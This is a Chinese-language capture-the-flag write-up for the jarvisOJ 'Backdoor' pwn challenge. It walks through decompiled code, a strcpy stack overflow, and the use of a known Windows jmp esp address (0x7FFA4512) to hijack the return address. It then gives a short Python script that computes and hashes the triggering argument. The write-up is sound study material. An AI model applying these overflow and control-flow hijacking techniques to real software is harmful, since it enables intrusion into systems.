jarvisOJ Backdoor (pwn)

后门??学到了....题目说有一个参数可以触发程序进行后门操作,拖进ida看一下:
main函数:

signed int __cdecl wmain(int a1, int a2)
{
  char v3; // [esp+50h] [ebp-2C8h]
  char v4; // [esp+E1h] [ebp-237h]
  char v5; // [esp+E4h] [ebp-234h]
  char Source[4]; // [esp+100h] [ebp-218h]
  char v7; // [esp+104h] [ebp-214h]
  __int16 i; // [esp+108h] [ebp-210h]
  char Dest[2]; // [esp+10Ch] [ebp-20Ch]
  char Dst; // [esp+10Eh] [ebp-20Ah]
  char v11[25]; // [esp+110h] [ebp-208h]
  char v12[483]; // [esp+129h] [ebp-1EFh]
  __int16 v13; // [esp+30Ch] [ebp-Ch]
  LPSTR lpMultiByteStr; // [esp+310h] [ebp-8h]
  int cbMultiByte; // [esp+314h] [ebp-4h]

  cbMultiByte = WideCharToMultiByte(1u, 0, *(a2 + 4), -1, 0, 0, 0, 0);
  lpMultiByteStr = sub_4011F0(cbMultiByte);
  WideCharToMultiByte(1u, 0, *(a2 + 4), -1, lpMultiByteStr, cbMultiByte, 0, 0);
  v13 = *lpMultiByteStr;
  if ( v13 < 0 )
    return -1;
  v13 ^= 0x6443u;
  strcpy(Dest, "0");
  memset(&Dst, 0, 0x1FEu);
  for ( i = 0; i < v13; ++i )
    Dest[i] = 'A';
  *Source = 0x7FFA4512;
  v7 = 0;
  strcpy(&Dest[v13], Source);
  qmemcpy(&v5, &unk_4021FC, 0x1Au);
  strcpy(&v11[v13], &v5);
  qmemcpy(&v3, &unk_402168, 0x91u);
  v4 = 0;
  strcpy(&v12[v13], &v3);
  sub_401000(Dest);
  return 0;
}

先是把lpMultiByteStr赋值给了v13,所以接下来跟踪一下v13.发现先是进行了一个异或操作:v13 ^= 0x6443u(这里写脚本的时候要注意小端序)然后向Dest里填充‘A’。

*Source = 0x7FFA4512;
  v7 = 0;
  strcpy(&Dest[v13], Source);

这里是关键
把0x7FFA4512这个地址传到了Dest[v13]。
0x7FFA4512是windows 上一个万能的 jmp esp(几乎所有平台这个地址上都是 jmp esp)
然后这个 dest 可以看 ida 上面是 char Dest[2]
所以这里可以通过参数控制这个 jmp esp 溢出到某一个函数的返回地址
从而改变程序的控制流去执行此时 esp 上地址的内容
(这里参考了链接------->https://blog.csdn.net/qq_38204481/article/details/79870305t)

点开sub_401000(Dest)看一下:

jarvisOJ Backdoor (pwn)_第1张图片

找到了溢出点:strcpy(Dest, Source)
ps.strcpy函数在把长字符串赋给短字符串会发生溢出


需要0x20个字节+4个字节的返回地址
也就是说输入的命令行参数处理过之后是0x24字节。
由于前面v13 ^= 0x6443u处理过一次
所以输入的命令行参数就是chr(0x24^0x43),chr(0x00^0x64)

exp:

import hashlib
flag=""
flag+=chr(0x24^0x43)
flag+=chr(0x00^0x64)

print hashlib.sha256(flag).hexdigest()

总结:
程序给出了返回地址
需要做的是搞清楚程序的逻辑
计算出输入的值多少时刚好能把返回地址覆盖为已给出的地址。

想要pwn 需要:1.有个漏洞让你溢出。2.有个地址来覆盖掉原来的地址。

0x7FFA4512这个地址很有用,windows里面的万能jmp esp。

hash加密:import hashlib
hashlib.sha256(string).hexdigest()
————————————————
摘自链接:https://blog.csdn.net/qq_38204481/article/details/79870305

你可能感兴趣的:(PWN)